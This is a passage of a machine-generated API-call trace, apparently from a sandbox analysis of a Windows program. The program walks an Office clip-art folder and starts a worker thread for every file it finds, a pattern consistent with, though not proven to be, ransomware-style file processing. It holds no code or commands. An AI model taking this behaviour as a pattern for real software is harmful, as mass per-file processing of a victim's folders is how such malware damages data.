(in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x420545c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18f8 [0152.876] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x112c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02075_.WMF", cAlternateFileName="")) returned 1 [0152.876] wcscmp (_String1="FD02075_.WMF", _String2=".") returned 1 [0152.876] wcscmp (_String1="FD02075_.WMF", _String2="..") returned 1 [0152.876] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054650 [0152.876] wcscpy (in: _Dest=0x42054650, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.876] wcscat (in: _Dest=0x42054650, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.877] wcscat (in: _Dest=0x42054650, _Source="FD02075_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" [0152.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18dc [0152.878] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe70, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02088_.WMF", cAlternateFileName="")) returned 1 [0152.878] wcscmp (_String1="FD02088_.WMF", _String2=".") returned 1 [0152.878] wcscmp (_String1="FD02088_.WMF", _String2="..") returned 1 [0152.878] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x420546e0 [0152.878] wcscpy (in: _Dest=0x420546e0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.879] wcscat (in: _Dest=0x420546e0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.879] wcscat (in: _Dest=0x420546e0, _Source="FD02088_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" [0152.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x420546e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1524 [0152.880] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x61c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02097_.WMF", cAlternateFileName="")) returned 1 [0152.880] wcscmp (_String1="FD02097_.WMF", _String2=".") returned 1 [0152.880] wcscmp (_String1="FD02097_.WMF", _String2="..") returned 1 [0152.880] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054770 [0152.880] wcscpy (in: _Dest=0x42054770, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.880] wcscat (in: _Dest=0x42054770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.880] wcscat (in: _Dest=0x42054770, _Source="FD02097_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" [0152.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d4 [0152.882] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1234, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02115_.WMF", cAlternateFileName="")) returned 1 [0152.882] wcscmp (_String1="FD02115_.WMF", _String2=".") returned 1 [0152.882] wcscmp (_String1="FD02115_.WMF", _String2="..") returned 1 [0152.882] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054800 [0152.882] wcscpy (in: _Dest=0x42054800, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.883] wcscat (in: _Dest=0x42054800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.883] wcscat (in: _Dest=0x42054800, _Source="FD02115_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" [0152.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18d0 [0152.886] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xf94, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02116_.WMF", cAlternateFileName="")) returned 1 [0152.886] wcscmp (_String1="FD02116_.WMF", _String2=".") returned 1 [0152.886] wcscmp (_String1="FD02116_.WMF", _String2="..") returned 1 [0152.886] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054890 [0152.886] wcscpy (in: _Dest=0x42054890, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.886] wcscat (in: _Dest=0x42054890, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.886] wcscat (in: _Dest=0x42054890, _Source="FD02116_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" [0152.886] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xacc [0152.887] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0152.887] wcscmp (_String1="FD02141_.WMF", _String2=".") returned 1 [0152.887] wcscmp (_String1="FD02141_.WMF", _String2="..") returned 1 [0152.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054920 [0152.887] wcscpy (in: _Dest=0x42054920, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.887] wcscat (in: _Dest=0x42054920, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.887] wcscat (in: _Dest=0x42054920, _Source="FD02141_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" [0152.888] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18cc [0152.889] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0152.889] wcscmp (_String1="FD02153_.WMF", _String2=".") returned 1 [0152.889] wcscmp (_String1="FD02153_.WMF", _String2="..") returned 1 [0152.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x420549b0 [0152.889] wcscpy (in: _Dest=0x420549b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.889] wcscat (in: _Dest=0x420549b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.889] wcscat (in: _Dest=0x420549b0, _Source="FD02153_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" [0152.889] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x420549b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17a0 [0152.890] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0152.890] wcscmp (_String1="FD02158_.WMF", _String2=".") returned 1 [0152.890] wcscmp (_String1="FD02158_.WMF", _String2="..") returned 1 [0152.890] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054a40 [0152.890] wcscpy (in: _Dest=0x42054a40, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.890] wcscat (in: _Dest=0x42054a40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.890] wcscat (in: _Dest=0x42054a40, _Source="FD02158_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" [0152.890] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18b8 [0152.891] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0152.891] wcscmp (_String1="FD02161_.WMF", _String2=".") returned 1 [0152.891] wcscmp (_String1="FD02161_.WMF", _String2="..") returned 1 [0152.891] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054ad0 [0152.891] wcscpy (in: _Dest=0x42054ad0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.892] wcscat (in: _Dest=0x42054ad0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.892] wcscat (in: _Dest=0x42054ad0, _Source="FD02161_.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" [0152.892] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1890 [0152.893] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5eb8e810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1af6, dwReserved0=0x0, dwReserved1=0x0, cFileName="fe91a3562d1c.2f9b60", cAlternateFileName="FE91A3~1.2F9")) returned 1 [0152.893] wcscmp (_String1="fe91a3562d1c.2f9b60", _String2=".") returned 1 [0152.893] wcscmp (_String1="fe91a3562d1c.2f9b60", _String2="..") returned 1 [0152.893] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205c970 [0152.894] wcscpy (in: _Dest=0x4205c970, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.894] wcscat (in: _Dest=0x4205c970, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.894] wcscat (in: _Dest=0x4205c970, _Source="fe91a3562d1c.2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe91a3562d1c.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\fe91a3562d1c.2f9b60" [0152.894] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c970, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188c [0152.895] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0152.895] wcscmp (_String1="FINCL_01.MID", _String2=".") returned 1 [0152.895] wcscmp (_String1="FINCL_01.MID", _String2="..") returned 1 [0152.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054b60 [0152.895] wcscpy (in: _Dest=0x42054b60, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.895] wcscat (in: _Dest=0x42054b60, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.895] wcscat (in: _Dest=0x42054b60, _Source="FINCL_01.MID" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" [0152.895] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054b60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1884 [0152.896] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2466, dwReserved0=0x0, dwReserved1=0x0, cFileName="FINCL_02.MID", cAlternateFileName="")) returned 1 [0152.896] wcscmp (_String1="FINCL_02.MID", _String2=".") returned 1 [0152.896] wcscmp (_String1="FINCL_02.MID", _String2="..") returned 1 [0152.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054bf0 [0152.896] wcscpy (in: _Dest=0x42054bf0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.896] wcscat (in: _Dest=0x42054bf0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.896] wcscat (in: _Dest=0x42054bf0, _Source="FINCL_02.MID" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" [0152.897] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1880 [0152.897] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x617e41d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x816, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLAP.WMF", cAlternateFileName="")) returned 1 [0152.897] wcscmp (_String1="FLAP.WMF", _String2=".") returned 1 [0152.897] wcscmp (_String1="FLAP.WMF", _String2="..") returned 1 [0152.898] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b869f40 [0152.898] wcscpy (in: _Dest=0x1b869f40, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.898] wcscat (in: _Dest=0x1b869f40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.898] wcscat (in: _Dest=0x1b869f40, _Source="FLAP.WMF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" [0152.898] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b869f40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x186c [0152.899] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61ab7bf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRDEN_01.MID", cAlternateFileName="")) returned 1 [0152.899] wcscmp (_String1="GRDEN_01.MID", _String2=".") returned 1 [0152.899] wcscmp (_String1="GRDEN_01.MID", _String2="..") returned 1 [0152.899] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054c80 [0152.899] wcscpy (in: _Dest=0x42054c80, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.899] wcscat (in: _Dest=0x42054c80, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.899] wcscat (in: _Dest=0x42054c80, _Source="GRDEN_01.MID" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRDEN_01.MID" [0152.899] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x968 [0152.900] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x52c3bfd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x18bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRID_01.MID", cAlternateFileName="")) returned 1 [0152.900] wcscmp (_String1="GRID_01.MID", _String2=".") returned 1 [0152.900] wcscmp (_String1="GRID_01.MID", _String2="..") returned 1 [0152.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x42054d10 [0152.900] wcscpy (in: _Dest=0x42054d10, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR" [0152.900] wcscat (in: _Dest=0x42054d10, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0152.900] wcscat (in: _Dest=0x42054d10, _Source="GRID_01.MID" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\GRID_01.MID" [0152.900] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x42054d10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0152.901] FindNextFileW (in: hFindFile=0x1cd9d2b0, lpFindFileData=0x1ce55ba0 | out: lpFindFileData=0x1ce55ba0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636ce600, ftCreationTime.dwHighDateTime=0x1bd4b2b, ftLastAccessTime.dwLowDateTime=0x61c80c70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x636ce600, ftLastWriteTime.dwHighDateTime=0x1bd4b2b, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00057_.WMF", cAlternateFileName="")) returned 1 [0152.901] wcscmp (_String1="HH00057_.WMF", _String2=".") returned 1 [0152.901] wcscmp (_String1="HH00057_.WMF", _String2="..") returned 1 [0152.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x42054da0 [0152.902] 